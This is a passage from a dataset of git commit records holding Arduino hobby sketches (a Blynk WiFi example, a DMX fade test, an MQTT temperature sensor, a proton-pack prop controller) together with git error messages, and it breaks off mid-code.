\/\/ end if state change\n previousState = currentState;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'YunFireAlert\/YunFireAlert.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2655521317c622bb7f429ffefbf60e254d69faff","subject":"Add WiFiNINA, Arduino MKR WiFi 1010 support","message":"Add WiFiNINA, Arduino MKR WiFi 1010 support\n","repos":"blynkkk\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library","old_file":"examples\/Boards_WiFi\/Arduino_MKR1010\/Arduino_MKR1010.ino","new_file":"examples\/Boards_WiFi\/Arduino_MKR1010\/Arduino_MKR1010.ino","new_contents":"\/*************************************************************\n Download latest Blynk library here:\n https:\/\/github.com\/blynkkk\/blynk-library\/releases\/latest\n\n Blynk is a platform with iOS and Android apps to control\n Arduino, Raspberry Pi and the likes over the Internet.\n You can easily build graphic interfaces for all your\n projects by simply dragging and dropping widgets.\n\n Downloads, docs, tutorials: http:\/\/www.blynk.cc\n Sketch generator: http:\/\/examples.blynk.cc\n Blynk community: http:\/\/community.blynk.cc\n Follow us: http:\/\/www.fb.com\/blynkapp\n http:\/\/twitter.com\/blynk_app\n\n Blynk library is licensed under MIT license\n This example code is in public domain.\n\n *************************************************************\n This example shows how to use Arduino MKR 1010\n to connect your project to Blynk.\n\n Note: This requires WiFiNINA library\n from http:\/\/librarymanager\/all#WiFiNINA\n\n Feel free to apply it to any other example. It's simple!\n *************************************************************\/\n\n\/* Comment this out to disable prints and save space *\/\n#define BLYNK_PRINT Serial\n#define BLYNK_DEBUG\n\n#include <SPI.h>\n#include <WiFiNINA.h>\n#include <BlynkSimpleWiFiNINA.h>\n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\n\/\/ Your WiFi credentials.\n\/\/ Set password to \"\" for open networks.\nchar ssid[] = \"YourNetworkName\";\nchar pass[] = \"YourPassword\";\n\nvoid setup()\n{\n \/\/ Debug console\n Serial.begin(9600);\n while (!Serial) {}\n\n Blynk.begin(auth, ssid, pass);\n \/\/ You can also specify server:\n \/\/Blynk.begin(auth, ssid, pass, \"blynk-cloud.com\", 80);\n \/\/Blynk.begin(auth, ssid, pass, IPAddress(192,168,1,100), 8080);\n}\n\nvoid loop()\n{\n Blynk.run();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Boards_WiFi\/Arduino_MKR1010\/Arduino_MKR1010.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b80d086a8300208e614d686492d6e292d21d9b56","subject":"Added test example sketch","message":"Added test example sketch\n","repos":"claudeheintz\/LXESP8266DMX,claudeheintz\/LXESP8266DMX,claudeheintz\/LXESP8266DMX","old_file":"examples\/DMXFadeTest\/DMXFadeTest.ino","new_file":"examples\/DMXFadeTest\/DMXFadeTest.ino","new_contents":"\/**************************************************************************\/\n\/*!\n @file DMXFadeTest.ino\n @author Claude Heintz\n @license BSD (see LXESP8266DMX LICENSE)\n @copyright 2015 by Claude Heintz\n\n Simple Fade test of RESP8266 DMX Driver\n @section HISTORY\n\n v1.0 - First release\n*\/\n\/**************************************************************************\/\n#include <LXESP8266UARTDMX.h>\n\n\/\/ LX8266DMXOutput instance\nLX8266DMXOutput* dmx_output = new LX8266DMXOutput();\n\nuint8_t level = 0;\n\nvoid setup() {\n pinMode(BUILTIN_LED, OUTPUT);\n Serial.begin(9600);\n Serial.setDebugOutput(1); \/\/use uart0 for debugging\n \n delay(1000); \/\/avoid boot print??\n dmx_output->start();\n}\n\n\/************************************************************************\n\n The main loop fades the levels of addresses 7 and 8 to full\n \n*************************************************************************\/\n\nvoid loop() {\n dmx_output->setSlot(7,level);\n dmx_output->setSlot(8,level);\n delay(50);\n level++;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/DMXFadeTest\/DMXFadeTest.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"605a7fae5ca44536d1d20c927c7454ac141c6476","subject":"COH-66: basic serial test done and OK on REV2.","message":"COH-66: basic serial test done and OK on REV2.","repos":"DamonHD\/OTRadioLink,DamonHD\/OTRadioLink,DamonHD\/OTRadioLink,opentrv\/OTRadioLink,Denzo77\/OTRadioLink,opentrv\/OTRadioLink,Denzo77\/OTRadioLink,opentrv\/OTRadioLink,Denzo77\/OTRadioLink,DamonHD\/OTRadioLink,Denzo77\/OTRadioLink,opentrv\/OTRadioLink","old_file":"test\/test.ino","new_file":"test\/test.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Denzo77\/OTRadioLink.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"7c732bd99d797a9485b3f1ed32ea702e3a837808","subject":"Create dragino_reco_temp.ino","message":"Create dragino_reco_temp.ino","repos":"redlibre\/iot_platform","old_file":"dragino\/dragino_reco_temp.ino","new_file":"dragino\/dragino_reco_temp.ino","new_contents":"\n#include <SPI.h>\n#include <PubSubClient.h>\n#include <YunClient.h>\n#include <string.h>\n#include \"DHT.h\"\n\nunsigned long time;\n\/\/int out2 = 2;\nint out3 = 3;\nint out4 = 4;\nint out6 = 6;\n\n#define DHTPIN 2\n#define DHTTYPE DHT22 \nDHT dht(DHTPIN, DHTTYPE);\n\nchar message_buff[100];\nchar message_buff2[100];\n\n\/\/\/\/Please here paste info from \"devinfo\"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#define IOTUSERNAME \"iiiiiiiii\"\n#define IOTPASSWORD \"ppppppp\"\n#define IOTDEVICE \"dddddddd\"\n#define USERNAME \"uuuuuuuuu\"\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nString id_sensor = \"dragino1\";\n\n\/\/\/\/from here dont' modify anything\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#define TOPIC \"redlibre\/iot\/\"USERNAME\"\/\"IOTDEVICE\"\/\"IOTUSERNAME\"\/iot\/control\/\"\n#define STATUS \"redlibre\/iot\/\"USERNAME\"\/\"IOTDEVICE\"\/\"IOTUSERNAME\"\/status\/\"\n#define IOTID USERNAME\"\/\"IOTDEVICE\n\nIPAddress server(190, 97, 169, 126);\n\n\nvoid callback(char* topic, byte* payload, unsigned int length);\n\nYunClient ethClient;\nPubSubClient client(server, 1883, callback, ethClient);\n\n\nvoid callback(char* topic, byte* payload, unsigned int length) {\n\n int i = 0;\n for(i=0; i<length; i++) {\n message_buff[i] = payload[i];\n }\n message_buff[i] = '\\0';\n \n String msgString = String(message_buff);\n \n \n\/*if (msgString.equals(\"gpio2on\")) {\n digitalWrite(out2, HIGH);}\n \nelse if (msgString.equals(\"gpio2off\")) {\n digitalWrite(out2, LOW);}\n\nelse *\/\n\nif (msgString.equals(\"gpio3on\")) {\n digitalWrite(out3, HIGH);}\n\nelse if (msgString.equals(\"gpio3off\")) {\n digitalWrite(out3, LOW);}\n\nelse if (msgString.equals(\"gpio4on\")) {\n digitalWrite(out4, HIGH);}\n\nelse if (msgString.equals(\"gpio3off\")) {\n digitalWrite(out4, LOW);}\n\nelse if (msgString.equals(\"gpio6on\")) {\n digitalWrite(out6, HIGH);}\n\nelse if (msgString.equals(\"gpio6off\")) {\n digitalWrite(out6, LOW);}\n\n \n}\n\nlong lastReconnectAttempt = 0;\n\nboolean reconnect() {\n if (client.connect(IOTID, IOTUSERNAME, IOTPASSWORD)) {\n \n client.publish(STATUS,\"hello - re-authenticated!!\");\n client.subscribe(TOPIC);\n }\n return client.connected();\n}\n\n\nvoid setup()\n{\n client.setServer(server, 1883);\n client.setCallback(callback);\n Bridge.begin();\n lastReconnectAttempt = 0;\n \n \/\/pinMode(out2, OUTPUT);\n pinMode(out3, OUTPUT);\n pinMode(out4, OUTPUT);\n pinMode(out6, OUTPUT);\n \ndht.begin();\n}\n\nvoid loop()\n{\n float h = dht.readHumidity();\n float t = dht.readTemperature();\n \n if (!client.connected()) {\n long now = millis();\n if (now - lastReconnectAttempt > 5000) {\n lastReconnectAttempt = now;\n \/\/ Attempt to reconnect\n if (reconnect()) {\n lastReconnectAttempt = 0;\n }\n }\n } else {\n \/\/ Client connected\n\n\n\nif (millis() > (time + 15000)) {\n time = millis();\n\nString pubString = \"\" + String(t) + \",\" + String(h) + \",\" + id_sensor + \"\";\n pubString.toCharArray(message_buff2, pubString.length()+1);\n client.publish(STATUS,message_buff2);\n \n}\n client.loop();\n }\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'dragino\/dragino_reco_temp.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"751c83407211c6f4f079cda8c98607126914e3e0","subject":"small changes","message":"small changes\n","repos":"werar\/iothome,werar\/iothome,werar\/iothome","old_file":"modules\/ha_mqtt_sensors_temp_and_switch\/ha_mqtt_sensors_temp_and_switch.ino","new_file":"modules\/ha_mqtt_sensors_temp_and_switch\/ha_mqtt_sensors_temp_and_switch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/werar\/iothome.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"65ed390ee65a93cf991f551df7fb40ef24ad66de","subject":"adding in the full source with bargraph.","message":"adding in the full source with bargraph.\n","repos":"CountDeMonet\/ArduinoProtonPack,CountDeMonet\/ArduinoProtonPack","old_file":"Arduino\/Neutrino_Wand_With_Graph\/Neutrino_Wand_With_Graph.ino","new_file":"Arduino\/Neutrino_Wand_With_Graph\/Neutrino_Wand_With_Graph.ino","new_contents":"#include <QueueArray.h>\n\n#include <Wire.h> \/\/ Include the I2C library (required)\n#include <SparkFunSX1509.h> \/\/ Include SX1509 library\n\n\/\/ SX1509 I2C address (set by ADDR1 and ADDR0 (00 by default):\nconst byte SX1509_ADDRESS = 0x3E; \/\/ SX1509 I2C address\nSX1509 io; \/\/ Create an SX1509 object to be used throughout\n\n\/\/ bargraph helper variables\nint seq_1_current = 0; \/\/ current led in sequence 1\nconst int num_led = 15; \/\/ total number of leds in bar graph\n\n\/\/ SX1509 pin definitions for the leds on the graph:\nconst byte SX1509_BAR_01 = 0;\nconst byte SX1509_BAR_02 = 1;\nconst byte SX1509_BAR_03 = 2;\nconst byte SX1509_BAR_04 = 3;\nconst byte SX1509_BAR_05 = 4;\nconst byte SX1509_BAR_06 = 5;\nconst byte SX1509_BAR_07 = 6;\nconst byte SX1509_BAR_08 = 7;\nconst byte SX1509_BAR_09 = 8;\nconst byte SX1509_BAR_10 = 9;\nconst byte SX1509_BAR_11 = 10;\nconst byte SX1509_BAR_12 = 11;\nconst byte SX1509_BAR_13 = 12;\nconst byte SX1509_BAR_14 = 13;\nconst byte SX1509_BAR_15 = 14;\n\n\/\/ for the sound board\n#include <SoftwareSerial.h>\n#include \"Adafruit_Soundboard.h\"\n\n#include <Adafruit_NeoPixel.h>\n\n\/\/ for led triggers\n#define HIGH 0x1\n#define LOW 0x0\n\n\/\/ neopixel pins \/ setup\n#define NEO_POWER 2 \/\/ for cyclotron and powercell\nAdafruit_NeoPixel powerStick = Adafruit_NeoPixel(48, NEO_POWER, NEO_GRB + NEO_KHZ800);\n\n#define NEO_NOSE 3 \/\/ for nose of wand\nAdafruit_NeoPixel noseJewel = Adafruit_NeoPixel(7, NEO_NOSE, NEO_GRB + NEO_KHZ800);\n\n#define NEO_WAND 4 \/\/ for nose of wand\nAdafruit_NeoPixel wandLights = Adafruit_NeoPixel(4, NEO_WAND, NEO_GRB + NEO_KHZ800);\n\n\/\/ LED indexes into the neopixel powerstick chain for the cyclotron\nconst int powercellLedCount = 14; \/\/ total number of led's in the animation\nconst int powercellIndexOffset = 1; \/\/ first led offset into the led chain for the animation\n\nint c1Start = 16;\nint c1End = 22;\nint c2Start = 23;\nint c2End = 29;\nint c3Start = 30;\nint c3End = 36;\nint c4Start = 37;\nint c4End = 43;\nint ventStart = 44;\nint ventEnd = 47;\n\n\/\/ inputs for switches and buttons\nconst int THEME_SWITCH = 5;\nconst int STARTUP_SWITCH = 6;\nconst int SAFETY_SWITCH = 7;\nconst int FIRE_BUTTON = 8;\n\n\/\/ soundboard pins and setup\n#define SFX_RST 9\n#define SFX_RX 10\n#define SFX_TX 11\nconst int ACT = 12; \/\/ this allows us to know if the audio is playing\n\nSoftwareSerial ss = SoftwareSerial(SFX_TX, SFX_RX);\nAdafruit_Soundboard sfx = Adafruit_Soundboard( &ss, NULL, SFX_RST);\n\n\/\/ ##############################\n\/\/ available options\n\/\/ ##############################\nconst bool useGameCyclotronEffect = true; \/\/ set this to true to get the fading previous cyclotron light in the idle sequence\nconst bool useCyclotronFadeInEffect = false; \/\/ Instead of the yellow alternate flashing on boot\/vent this fades the cyclotron in from off to red\nconst bool useDialogTracks = true; \/\/ set to true if you want the dialog tracks to play after firing for 5 seconds\n\n\/\/ Possible Pack states\nbool powerBooted = false; \/\/ has the pack booted up\nbool isFiring = false; \/\/ keeps track of the firing state\nbool shouldWarn = false; \/\/ track the warning state for alert audio\nbool shuttingDown = false; \/\/ is the pack in the process of shutting down\nbool poweredDown = true; \/\/ is the pack powered down\nbool venting = false; \/\/ is the pack venting\n\n\/\/ physical switch states\nbool startup = false;\nbool theme = false;\nbool safety = false;\nbool fire = false;\nbool warning = false;\n\n\/\/ audio track names on soundboard\nchar startupTrack[] = \"T00 WAV\";\nchar blastTrack[] = \"T01 WAV\";\nchar endTrack[] = \"T02 WAV\";\nchar idleTrack[] = \"T03 WAV\";\nchar shutdownTrack[] = \"T04 WAV\";\nchar clickTrack[] = \"T05 WAV\";\nchar chargeTrack[] = \"T06 WAV\";\nchar warnTrack[] = \"T07 WAV\";\nchar ventTrack[] = \"T08 WAV\";\nchar texTrack[] = \"T09 WAV\";\nchar choreTrack[] = \"T10 WAV\";\nchar toolsTrack[] = \"T11 WAV\";\nchar listenTrack[] = \"T12 WAV\";\nchar thatTrack[] = \"T13 WAV\";\nchar neutronizedTrack[]=\"T14 WAV\";\nchar boxTrack[] = \"T15 WAV\";\nchar themeTrack[] = \"T16 OGG\";\n\n\/\/ this queue holds a shuffled list of dialog tracks we can pull from so we don't\n\/\/ play the same ones twice\nQueueArray <int> dialogQueue;\nint numDialog = 7;\n\n\/\/ timer trigger times\/states\nunsigned long firingStateMillis;\nconst int firingWarmWaitTime = 5000; \/\/ how long to hold down fire for lights to speed up\nconst int firingWarnWaitTime = 10000; \/\/ how long to hold down fire before warning sounds\n\n\/\/ Arduino setup function\nvoid setup() { \n \/\/ softwareserial at 9600 baud for the audio board\n ss.begin(9600);\n\n \/\/ see if we have the soundboard\n \/\/ If we fail to communicate, loop forever for now but it would be nice to warn the user somehow\n if (!sfx.reset()) {\n while (1);\n }\n\n \/\/ set act modes for the fx board\n pinMode(ACT, INPUT);\n\n \/\/ configure nose jewel\n noseJewel.begin();\n noseJewel.setBrightness(100);\n noseJewel.show(); \/\/ Initialize all pixels to 'off'\n\n \/\/ configure powercell\/cyclotron\n powerStick.begin();\n powerStick.setBrightness(75);\n powerStick.show(); \/\/ Initialize all pixels to 'off'\n\n \/\/ configure wand lights\n wandLights.begin();\n wandLights.setBrightness(75);\n wandLights.show();\n\n \/\/ set the modes for the switches\/buttons\n pinMode(THEME_SWITCH, INPUT);\n digitalWrite(THEME_SWITCH, HIGH);\n pinMode(STARTUP_SWITCH, INPUT);\n digitalWrite(STARTUP_SWITCH, HIGH);\n pinMode(SAFETY_SWITCH, INPUT);\n digitalWrite(SAFETY_SWITCH, HIGH);\n pinMode(FIRE_BUTTON, INPUT);\n digitalWrite(FIRE_BUTTON, HIGH);\n \n \/\/ Call io.begin(<address>) to initialize the SX1509. If it\n \/\/ successfully communicates, it'll return 1.\n if (!io.begin(SX1509_ADDRESS)) {\n while (1) ; \/\/ If we fail to communicate, loop forever for now but it would be nice to warn the user somehow\n }\n \n \/\/ configuration for the bargraph LED's\n io.pinMode(SX1509_BAR_01, OUTPUT);\n io.pinMode(SX1509_BAR_02, OUTPUT);\n io.pinMode(SX1509_BAR_03, OUTPUT);\n io.pinMode(SX1509_BAR_04, OUTPUT);\n io.pinMode(SX1509_BAR_05, OUTPUT);\n io.pinMode(SX1509_BAR_06, OUTPUT);\n io.pinMode(SX1509_BAR_07, OUTPUT);\n io.pinMode(SX1509_BAR_08, OUTPUT);\n io.pinMode(SX1509_BAR_09, OUTPUT);\n io.pinMode(SX1509_BAR_10, OUTPUT);\n io.pinMode(SX1509_BAR_11, OUTPUT);\n io.pinMode(SX1509_BAR_12, OUTPUT);\n io.pinMode(SX1509_BAR_13, OUTPUT);\n io.pinMode(SX1509_BAR_14, OUTPUT);\n io.pinMode(SX1509_BAR_15, OUTPUT);\n\n \/\/ set everything off initially\n shutdown_leds();\n}\n\n\/* ************* Audio Board Helper Functions ************* *\/\n\/\/ helper function to play a track by name on the audio board\nvoid playAudio( char* trackname, int playing ) {\n \/\/ stop track if one is going\n if (playing == 0) {\n sfx.stop();\n }\n \n \/\/ now go play\n if (sfx.playTrack(trackname)) {\n sfx.unpause();\n }\n}\n\nvoid playDialogTrack( int playing ){\n \/\/ if the queue is empty reseed it\n if ( dialogQueue.isEmpty() ){\n for (int i=1; i<=numDialog; i++){\n dialogQueue.enqueue(i);\n }\n }\n \n switch (dialogQueue.dequeue()){\n case (1):\n playAudio(texTrack, playing);\n break;\n case (2):\n playAudio(listenTrack, playing);\n break;\n case (3):\n playAudio(choreTrack, playing);\n break;\n case (4):\n playAudio(boxTrack, playing);\n break;\n case (5):\n playAudio(thatTrack, playing);\n break;\n case (6):\n playAudio(neutronizedTrack, playing);\n break;\n case (7):\n playAudio(toolsTrack, playing);\n break;\n default: \n playAudio(endTrack, playing);\n break;\n }\n}\n\n\/* ************* Main Loop ************* *\/\nint cyclotronRunningFadeOut = 255; \/\/ we reset this variable every time we change the cyclotron index so the fade effect works\nint cyclotronRunningFadeIn = 0; \/\/ we reset this to 0 to fade the cyclotron in from nothing\n\n\/\/ intervals that can be adjusted in real time to speed up animations \nint pwr_interval = 60; \/\/ interval at which to cycle lights for the powercell. We update this in the loop to speed up the animation so must be declared here (milliseconds)\nint cyc_interval = 1000; \/\/ interval at which to cycle lights for the cyclotron.\nint cyc_fade_interval = 15; \/\/ fade the inactive cyclotron to light to nothing\nint firing_interval = 40; \/\/ interval at which to cycle firing lights on the bargraph. We update this in the loop to speed up the animation so must be declared here (milliseconds).\n\nvoid loop() {\n \/\/ get the current time\n int currentMillis = millis();\n\n \/\/ find out of the audio board is playing audio\n int playing = digitalRead(ACT);\n\n \/\/ get the current switch states\n int theme_switch = digitalRead(THEME_SWITCH);\n\n \/\/ if the theme switch has recently changed from off to on we \n \/\/ should play the full ghostbusters theme song\n if (theme_switch == 1) {\n if (theme == false) {\n playAudio(themeTrack, playing);\n theme = true;\n }\n } else {\n theme = false;\n }\n\n int startup_switch = digitalRead(STARTUP_SWITCH);\n int safety_switch = digitalRead(SAFETY_SWITCH);\n int fire_button = digitalRead(FIRE_BUTTON);\n \n \/\/ while the startup switch is set on\n if (startup_switch == 1) { \n \/\/ in general we always try to play the idle sound if started\n if (playing == 1 && startup == true) {\n playAudio(idleTrack, playing);\n }\n \n \/\/ choose the right powercell animation sequence for booted\/on\n if ( powerBooted == true ) {\n \/\/ standard idle power sequence for the pack\n poweredDown = false;\n shuttingDown = false;\n venting = false;\n setWandLightState(3, 0, 0); \/\/set sloblow red\n setVentLightState(ventStart, ventEnd, 2);\n powerSequenceOne(currentMillis, pwr_interval, cyc_interval, cyc_fade_interval);\n } else {\n \/\/ boot up the pack. powerSequenceBoot will set powerBooted when complete\n powerSequenceBoot(currentMillis);\n setWandLightState(3, 7, currentMillis); \/\/set sloblow red blinking\n }\n\n \/\/ if we are not started up we should play the startup sound and begin the boot sequence\n if (startup == false) {\n startup = true;\n playAudio(startupTrack, playing);\n\n \/\/ get the current safety switch state\n if (safety_switch == 1 && safety == false) {\n safety = true;\n }\n }\n \n if( startup == true && safety_switch == 1 ){\n if( venting == false && powerBooted == true ){\n setWandLightState(1, 2, 0); \/\/ set back light orange\n setWandLightState(2, 1, 0); \/\/ set body led white\n }else{\n setWandLightState(1, 4, 0); \/\/ set back light off\n setWandLightState(2, 4, 0); \/\/ set body led off\n }\n\n \/\/ if the safety switch is set off then we can fire when the button is pressed\n if ( fire_button == 0) {\n \/\/ if the button is just pressed we clear all led's to start the firing animations\n if ( isFiring == false ) {\n shutdown_leds();\n isFiring = true;\n }\n \n \/\/ show the firing bargraph sequence\n barGraphSequenceTwo(currentMillis);\n\n \/\/ strobe the nose pixels\n fireStrobe(currentMillis); \n\n \/\/ now powercell\/cyclotron\/wand lights\n \/\/ if this is the first time reset some variables and play the blast track\n if (fire == false) {\n shouldWarn = false;\n fire = true;\n firingStateMillis = millis();\n playAudio(blastTrack, playing);\n } else {\n \/\/ find out what our timing is\n long diff = millis() - firingStateMillis;\n \n if ( diff > firingWarnWaitTime) { \/\/ if we are in the fire warn interval\n pwr_interval = 10; \/\/ speed up the powercell animation\n firing_interval = 20; \/\/ speed up the bar graph animation\n cyc_interval = 50; \/\/ really speed up cyclotron\n cyc_fade_interval = 5; \/\/ speed up the fade of the cyclotron\n if (playing == 1 || shouldWarn == false ) {\n shouldWarn = true;\n playAudio(warnTrack, playing); \/\/ play the firing track with the warning\n }\n setWandLightState(0, 8, currentMillis); \/\/ set top light red flashing fast\n } else if ( diff > firingWarmWaitTime) { \/\/ if we are in the dialog playing interval\n pwr_interval = 30; \/\/ speed up the powercell animation\n firing_interval = 30; \/\/ speed up the bar graph animation\n cyc_interval = 200; \/\/ speed up cyclotron\n cyc_fade_interval = 10; \/\/ speed up the fade of the cyclotron\n if (playing == 1) {\n playAudio(blastTrack, playing); \/\/ play the normal blast track\n }\n setWandLightState(0, 6, currentMillis); \/\/ set top light orange flashing\n }\n }\n } else { \/\/ if we were firing and are no longer reset the leds\n if ( isFiring == true ) {\n shutdown_leds();\n isFiring = false;\n }\n \n \/\/ and do the standard bargraph sequence\n barGraphSequenceOne(currentMillis);\n\n if (fire == true) { \/\/ if we were firing let's reset the animations and play the correct final firing track\n clearFireStrobe();\n setWandLightState(0, 4, currentMillis); \/\/ set top light off\n \n pwr_interval = 60;\n firing_interval = 40;\n cyc_interval = 1000;\n cyc_fade_interval = 15;\n fire = false;\n\n \/\/ see if we've been firing long enough to get the dialog or vent sounds\n long diff = millis() - firingStateMillis;\n\n if ( diff > firingWarnWaitTime) { \/\/ if we are past the warning let's vent the pack\n playAudio(ventTrack, playing);\n venting = true;\n clearPowerStrip(); \/\/ play the boot animation on the powercell\n } else if ( diff > firingWarmWaitTime) { \/\/ if in the dialog time play the dialog in sequence\n if( useDialogTracks == true ){\n playDialogTrack(playing);\n }else{\n playAudio(endTrack, playing);\n }\n } else {\n playAudio(endTrack, playing);\n }\n }\n }\n\n \/\/ if the safety was just changed play the click track\n if (safety == false) {\n safety = true;\n playAudio(chargeTrack, playing);\n }\n } else {\n \/\/ if the safety is switched off play the click track\n if (safety == true) {\n setWandLightState(1, 4, 0); \/\/ set back light off\n setWandLightState(2, 4, 0); \/\/ set body off\n safety = false;\n playAudio(clickTrack, playing);\n }\n }\n } else { \/\/ if we are powering down\n if( poweredDown == false ){\n if( shuttingDown == false ){\n playAudio(shutdownTrack, playing); \/\/ play the pack shutdown track\n shuttingDown = true;\n }\n cyclotronRunningFadeOut = 255;\n powerSequenceShutdown(currentMillis);\n }else{\n if (startup == true) { \/\/ if started reset the variables\n clearPowerStrip(); \/\/ clear all led's\n shutdown_leds();\n startup = false;\n safety = false;\n fire = false;\n }\n }\n }\n delay(1);\n}\n\n\/*************** Wand Light Helpers *********************\/\nunsigned long prevFlashMillis = 0; \/\/ last time we changed a powercell light in the idle sequence\nbool flashState = false;\nconst int wandFastFlashInterval = 100; \/\/ interval at which we flash the top led on the wand\nconst int wandMediumFlashInterval = 500; \/\/ interval at which we flash the top led on the wand\n\nvoid setWandLightState(int lednum, int state, int currentMillis){\n switch ( state ) {\n case 0: \/\/ set led red\n wandLights.setPixelColor(lednum, wandLights.Color(255, 0, 0));\n break;\n case 1: \/\/ set led white\n wandLights.setPixelColor(lednum, wandLights.Color(255, 255, 255));\n break;\n case 2: \/\/ set led orange\n wandLights.setPixelColor(lednum, wandLights.Color(255, 127, 0));\n break;\n case 3: \/\/ set led blue\n wandLights.setPixelColor(lednum, wandLights.Color(0, 0, 255));\n break;\n case 4: \/\/ set led off\n wandLights.setPixelColor(lednum, 0);\n break;\n case 5: \/\/ fast white flashing \n if (currentMillis - prevFlashMillis > wandFastFlashInterval) { \n prevFlashMillis = currentMillis; \n if( flashState == false ){ \n wandLights.setPixelColor(lednum, wandLights.Color(255, 255, 255)); \n flashState = true; \n }else{ \n wandLights.setPixelColor(lednum, 0); \n flashState = false; \n } \n } \n break;\n case 6: \/\/ slower orange flashing \n if (currentMillis - prevFlashMillis > wandMediumFlashInterval) { \n prevFlashMillis = currentMillis; \n if( flashState == false ){ \n wandLights.setPixelColor(lednum, wandLights.Color(255, 127, 0)); \n flashState = true; \n }else{ \n wandLights.setPixelColor(lednum, 0); \n flashState = false; \n } \n } \n break;\n case 7: \/\/ medium red flashing \n if (currentMillis - prevFlashMillis > wandMediumFlashInterval) { \n prevFlashMillis = currentMillis; \n if( flashState == false ){ \n wandLights.setPixelColor(lednum, wandLights.Color(255, 0, 0)); \n flashState = true; \n }else{ \n wandLights.setPixelColor(lednum, 0); \n flashState = false; \n } \n } \n break;\n case 8: \/\/ fast red flashing \n if (currentMillis - prevFlashMillis > wandFastFlashInterval) { \n prevFlashMillis = currentMillis; \n if( flashState == false ){ \n wandLights.setPixelColor(lednum, wandLights.Color(255, 0, 0)); \n flashState = true; \n }else{ \n wandLights.setPixelColor(lednum, 0); \n flashState = false; \n } \n } \n break;\n }\n\n wandLights.show();\n}\n\n\/*************** Vent Light *************************\/\nvoid setVentLightState(int startLed, int endLed, int state ){\n switch ( state ) {\n case 0: \/\/ set all leds to white\n for(int i=startLed; i <= endLed; i++) {\n powerStick.setPixelColor(i, powerStick.Color(255, 255, 255));\n }\n break;\n case 1: \/\/ set all leds to blue\n for(int i=startLed; i <= endLed; i++) {\n powerStick.setPixelColor(i, powerStick.Color(0, 0, 255));\n }\n break;\n case 2: \/\/ set all leds off\n for(int i=startLed; i <= endLed; i++) {\n powerStick.setPixelColor(i, 0);\n }\n break;\n }\n}\n\n\/*************** Powercell\/Cyclotron Animations *********************\/\n\/\/ timer helpers and intervals for the animations\nunsigned long prevPwrBootMillis = 0; \/\/ the last time we changed a powercell light in the boot sequence\nconst int pwr_boot_interval = 60; \/\/ interval at which to cycle lights (milliseconds). Adjust this if \n\nunsigned long prevCycBootMillis = 0; \/\/ the last time we changed a cyclotron light in the boot sequence\nconst int cyc_boot_interval = 500; \/\/ interval at which to cycle lights (milliseconds).\nconst int cyc_boot_alt_interval = 600; \/\/ interval at which to cycle lights (milliseconds).\n\nunsigned long prevShtdMillis = 0; \/\/ last time we changed a light in the idle sequence\nconst int pwr_shutdown_interval = 200; \/\/ interval at which to cycle lights (milliseconds).\n\nunsigned long prevPwrMillis = 0; \/\/ last time we changed a powercell light in the idle sequence\nunsigned long prevCycMillis = 0; \/\/ last time we changed a cyclotron light in the idle sequence\nunsigned long prevFadeCycMillis = 0; \/\/ last time we changed a cyclotron light in the idle sequence\n\n\/\/ LED tracking variables\nconst int powerSeqTotal = powercellLedCount; \/\/ total number of led's for powercell 0 based\nint powerSeqNum = powercellIndexOffset; \/\/ current running powercell sequence led\nint powerShutdownSeqNum = powercellLedCount - powercellIndexOffset; \/\/ shutdown sequence counts down\n\n\/\/ animation level trackers for the boot and shutdown\nint currentBootLevel = powercellIndexOffset; \/\/ current powercell boot level sequence led\nint currentLightLevel = powercellLedCount - powercellIndexOffset; \/\/ current powercell boot light sequence led\n\nvoid setCyclotronLightState(int startLed, int endLed, int state ){\n switch ( state ) {\n case 0: \/\/ set all leds to red\n for(int i=startLed; i <= endLed; i++) {\n powerStick.setPixelColor(i, powerStick.Color(255, 0, 0));\n }\n break;\n case 1: \/\/ set all leds to orange\n for(int i=startLed; i <= endLed; i++) {\n powerStick.setPixelColor(i, powerStick.Color(255, 106, 0));\n }\n break;\n case 2: \/\/ set all leds off\n for(int i=startLed; i <= endLed; i++) {\n powerStick.setPixelColor(i, 0);\n }\n break;\n case 3: \/\/ fade all leds from red\n for(int i=startLed; i <= endLed; i++) {\n if( cyclotronRunningFadeOut >= 0 ){\n powerStick.setPixelColor(i, 255 * cyclotronRunningFadeOut\/255, 0, 0);\n cyclotronRunningFadeOut--;\n }else{\n powerStick.setPixelColor(i, 0);\n }\n }\n break;\n case 4: \/\/ fade all leds to red\n for(int i=startLed; i <= endLed; i++) {\n if( cyclotronRunningFadeIn < 255 ){\n powerStick.setPixelColor(i, 255 * cyclotronRunningFadeIn\/255, 0, 0);\n cyclotronRunningFadeIn++;\n }else{\n powerStick.setPixelColor(i, powerStick.Color(255, 0, 0));\n 